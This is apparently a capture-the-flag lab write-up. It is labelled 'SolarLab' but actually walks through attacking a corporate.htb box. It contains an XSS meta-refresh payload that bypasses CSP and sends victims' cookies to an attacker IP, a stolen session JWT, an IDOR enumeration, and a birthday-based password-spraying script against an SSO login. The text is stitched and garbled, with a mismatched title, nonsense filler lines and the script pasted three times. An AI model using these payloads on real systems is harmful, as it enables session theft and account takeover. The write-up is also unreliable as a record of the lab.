SolarLab
SolarLab - Medium Windows Box - Season 5 Anomalies.
<html> scripts
through the chat bot and it seems to be rendering the scripts.
XSS
Vulnerable.javascript
but it is blocking processing JavaScript with CSP
Content-Security-Policy.
| | |---| |Content-Security-Policy
base-uri 'self';
default-src 'self' http://corporate.htb http://*.corporate.htb;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://maps.googleapis.com https://maps.gstatic.com;
font-src 'self' https://fonts.googleapis.com/ https://fonts.gstatic.com data:;
img-src 'self' data: maps.gstatic.com;
frame-src https://www.google.com/maps/;
object-src 'none';
script-src 'self'|`
Testing the testers of testing
test test test
this is a pre bro ima about to pre pre preeeeeeeeeeeee
curl -sS 'http://corporate.htb/assets/js/analytics.min.js?v=froggie'
<meta http-equiv="refresh" content="0; url=http://corporate.htb/%3Cscript+src='/vendor/analytics.min.js'%3E%3C/script%3E%3Cscript+src='/assets/js/analytics.min.js?v=document.location=`http://10.10.14.34:34000/${document.cookie}`'%27%3C/script%3E"/>
Sending this script to the chat bot while having a listening server on our attack box will grab a cookie.
python -m http.server 34000
CorporateSSO
/
and the domain to .corporate.htb
/Value=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MSwibmFtZSI6Ikp1bGlvIiwic3VybmFtZSI6IkRhbmllbCIsImVtYWlsIjoiSnVsaW8uRGFuaWVsQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MjE3NTk4OTksImV4cCI6MTcyMTg0NjI5OX0.peLklF24DypFH8xEUc2VajwwItqc6R7kHzAAgASQ1fE
people.corporate.htb
we have access to the panel under the user Julio Daniel
.
sharing folder
where people can share files.IDOR
. We can navigate between users in the browser by changing the user number.openvpn
file that I can download. Probably gives access to a VPN to get into the internal network.#!/usr/bin/env python3
import re
import requests
cookie = {"CorporateSSO": "YOUR_COOKIE_HERE"}
for i in range(5000, 5100):
resp = requests.get(f"http://people.corporate.htb/employee/{i}", cookies=cookie)
if "Sorry, we couldn't find that employee!" in resp.text:
continue
# this is a comment
user_name = re.findall(r"(\w+\.\w+)@corporate.htb", resp.text)[0]
birthday_str = re.findall(r'<th scope="row">Birthday</th>\s+<td>(\d{1,2}/\d{1,2}/\d{4})</td>', resp.text)[0]
m, d, y = birthday_str.split('/')
password = f"CorporateStarter{d.zfill(2)}{m.zfill(2)}{y}"
resp_login = requests.post('http://sso.corporate.htb/login', data={'username': user_name, 'password': password}, allow_redirects=False)
if "/login?error=Invalid%20username%20or%20password" not in resp_login.text:
print(f"{user_name}: {password}")
import re
import requests
cookie = {"CorporateSSO": "YOUR_COOKIE_HERE"}
for i in range(5000, 5100):
resp = requests.get(f"http://people.corporate.htb/employee/{i}", cookies=cookie)
if "Sorry, we couldn't find that employee!" in resp.text:
continue
# this is a comment
user_name = re.findall(r"(\w+\.\w+)@corporate.htb", resp.text)[0]
birthday_str = re.findall(r'<th scope="row">Birthday</th>\s+<td>(\d{1,2}/\d{1,2}/\d{4})</td>', resp.text)[0]
m, d, y = birthday_str.split('/')
password = f"CorporateStarter{d.zfill(2)}{m.zfill(2)}{y}"
resp_login = requests.post('http://sso.corporate.htb/login', data={'username': user_name, 'password': password}, allow_redirects=False)
if "/login?error=Invalid%20username%20or%20password" not in resp_login.text:
print(f"{user_name}: {password}")
import re
import requests
cookie = {"CorporateSSO": "YOUR_COOKIE_HERE"}
for i in range(5000, 5100):
resp = requests.get(f"http://people.corporate.htb/employee/{i}", cookies=cookie)
if "Sorry, we couldn't find that employee!" in resp.text:
continue
# this is a comment
user_name = re.findall(r"(\w+\.\w+)@corporate.htb", resp.text)[0]
birthday_str = re.findall(r'<th scope="row">Birthday</th>\s+<td>(\d{1,2}/\d{1,2}/\d{4})</td>', resp.text)[0]
m, d, y = birthday_str.split('/')
password = f"CorporateStarter{d.zfill(2)}{m.zfill(2)}{y}"
resp_login = requests.post('http://sso.corporate.htb/login', data={'username': user_name, 'password': password}, allow_redirects=False)
if "/login?error=Invalid%20username%20or%20password" not in resp_login.text:
print(f"{user_name}: {password}")
openvpn
file from elwin.jones
and connected:
sudo openvpn elwin-jones.ovpn
tun1
interface being created on our attacking box.</body> </html>